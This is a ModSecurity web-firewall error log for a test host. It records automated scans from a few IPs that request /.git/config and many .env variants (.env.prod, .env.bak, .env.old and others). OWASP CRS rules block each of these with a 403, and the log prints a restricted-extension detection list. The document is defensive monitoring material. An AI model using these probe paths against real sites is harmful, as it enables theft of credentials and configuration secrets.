[Thu Jul 17 16:01:07.017667 2025] [:error] [pid 1251799] [client 185.177.72.236:27436] [client 185.177.72.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHkCIzjGz14UW1q6tKk25AAAAAo"]
[Thu Jul 17 16:01:07.017846 2025] [:error] [pid 1251799] [client 185.177.72.236:27436] [client 185.177.72.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHkCIzjGz14UW1q6tKk25AAAAAo"]
[Thu Jul 17 17:45:16.632655 2025] [:error] [pid 1240089] [client 185.177.72.106:2540] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHkajINSz2JhFMNCIOLIOQAAAAQ"]
[Thu Jul 17 17:45:16.632954 2025] [:error] [pid 1240089] [client 185.177.72.106:2540] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHkajINSz2JhFMNCIOLIOQAAAAQ"]
[Thu Jul 17 17:45:16.633114 2025] [:error] [pid 1240089] [client 185.177.72.106:2540] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aHkajINSz2JhFMNCIOLIOQAAAAQ"]
[Sat Jul 19 11:09:31.067638 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHtgyxRg3acxdm2fAA9EpwAAAAs"]
[Sat Jul 19 11:09:31.069198 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHtgyxRg3acxdm2fAA9EpwAAAAs"]
[Sat Jul 19 11:09:31.069373 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHtgyxRg3acxdm2fAA9EpwAAAAs"]
[Sat Jul 19 11:09:31.089327 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aHtgyxRg3acxdm2fAA9EqAAAAAs"]
[Sat Jul 19 11:09:31.089545 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aHtgyxRg3acxdm2fAA9EqAAAAAs"]
[Sat Jul 19 11:09:31.089700 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aHtgyxRg3acxdm2fAA9EqAAAAAs"]
[Sat Jul 19 11:09:31.109739 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aHtgyxRg3acxdm2fAA9EqQAAAAs"]
[Sat Jul 19 11:09:31.109954 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aHtgyxRg3acxdm2fAA9EqQAAAAs"]
[Sat Jul 19 11:09:31.110104 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aHtgyxRg3acxdm2fAA9EqQAAAAs"]
[Sat Jul 19 11:09:31.129984 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aHtgyxRg3acxdm2fAA9EqgAAAAs"]
[Sat Jul 19 11:09:31.130183 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aHtgyxRg3acxdm2fAA9EqgAAAAs"]
[Sat Jul 19 11:09:31.130330 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aHtgyxRg3acxdm2fAA9EqgAAAAs"]
[Sat Jul 19 11:09:31.150120 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aHtgyxRg3acxdm2fAA9EqwAAAAs"]
[Sat Jul 19 11:09:31.150358 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aHtgyxRg3acxdm2fAA9EqwAAAAs"]
[Sat Jul 19 11:09:31.150517 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aHtgyxRg3acxdm2fAA9EqwAAAAs"]
[Sat Jul 19 11:09:31.170434 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aHtgyxRg3acxdm2fAA9ErAAAAAs"]
[Sat Jul 19 11:09:31.170637 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aHtgyxRg3acxdm2fAA9ErAAAAAs"]
[Sat Jul 19 11:09:31.170796 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aHtgyxRg3acxdm2fAA9ErAAAAAs"]
[Sat Jul 19 11:09:31.190723 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aHtgyxRg3acxdm2fAA9ErQAAAAs"]
[Sat Jul 19 11:09:31.190929 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aHtgyxRg3acxdm2fAA9ErQAAAAs"]
[Sat Jul 19 11:09:31.191106 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aHtgyxRg3acxdm2fAA9ErQAAAAs"]
[Sat Jul 19 11:09:31.211058 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aHtgyxRg3acxdm2fAA9ErgAAAAs"]
[Sat Jul 19 11:09:31.211266 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aHtgyxRg3acxdm2fAA9ErgAAAAs"]
[Sat Jul 19 11:09:31.211430 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aHtgyxRg3acxdm2fAA9ErgAAAAs"]
[Sat Jul 19 11:09:31.231552 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aHtgyxRg3acxdm2fAA9ErwAAAAs"]
[Sat Jul 19 11:09:31.231758 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aHtgyxRg3acxdm2fAA9ErwAAAAs"]
[Sat Jul 19 11:09:31.231941 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aHtgyxRg3acxdm2fAA9ErwAAAAs"]
[Sat Jul 19 11:09:31.251740 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aHtgyxRg3acxdm2fAA9EsAAAAAs"]
[Sat Jul 19 11:09:31.251898 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aHtgyxRg3acxdm2fAA9EsAAAAAs"]
[Sat Jul 19 11:09:31.252089 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aHtgyxRg3acxdm2fAA9EsAAAAAs"]
[Sat Jul 19 11:09:31.252248 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aHtgyxRg3acxdm2fAA9EsAAAAAs"]
[Sat Jul 19 11:09:31.272187 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHtgyxRg3acxdm2fAA9EsQAAAAs"]
[Sat Jul 19 11:09:31.272328 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHtgyxRg3acxdm2fAA9EsQAAAAs"]
[Sat Jul 19 11:09:31.272517 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHtgyxRg3acxdm2fAA9EsQAAAAs"]
